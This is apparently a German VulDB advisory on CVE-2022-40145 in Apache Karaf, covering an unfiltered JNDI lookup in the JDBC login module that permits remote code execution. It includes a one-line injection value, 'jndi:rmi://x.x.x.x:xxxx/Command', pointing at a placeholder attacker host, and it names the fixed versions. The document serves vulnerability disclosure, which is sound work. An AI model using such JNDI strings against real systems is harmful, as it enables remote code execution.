CVE-2022-40145 in Karaf
Zusammenfassung
von VulDB • 22.06.2026
Dieses Problem betrifft eine potenzielle Code-Injection, wenn ein Angreifer die Kontrolle über den in der JDBC-JNDI-URL verwendeten Ziel-LDAP-Server hat. Die Funktion `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` verwendet `InitialContext.lookup(jndiName)` ohne Filterung. Ein Benutzer kann `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` in `JdbcLoginModuleTest#setup` zu `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` ändern. Dies ist anfällig für einen Remote-Code-Ausführungsangriff (RCE), wenn eine Konfiguration ein JNDI-LDAP-Datenquellen-URI verwendet und der Angreifer die Kontrolle über den Ziel-LDAP-Server hat. Dieses Problem betrifft alle Versionen von Apache Karaf bis einschließlich 4.4.1 und 4.3.7. Wir empfehlen Benutzern, auf mindestens Apache Karaf 4.4.2 oder 4.3.8 zu aktualisieren.
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.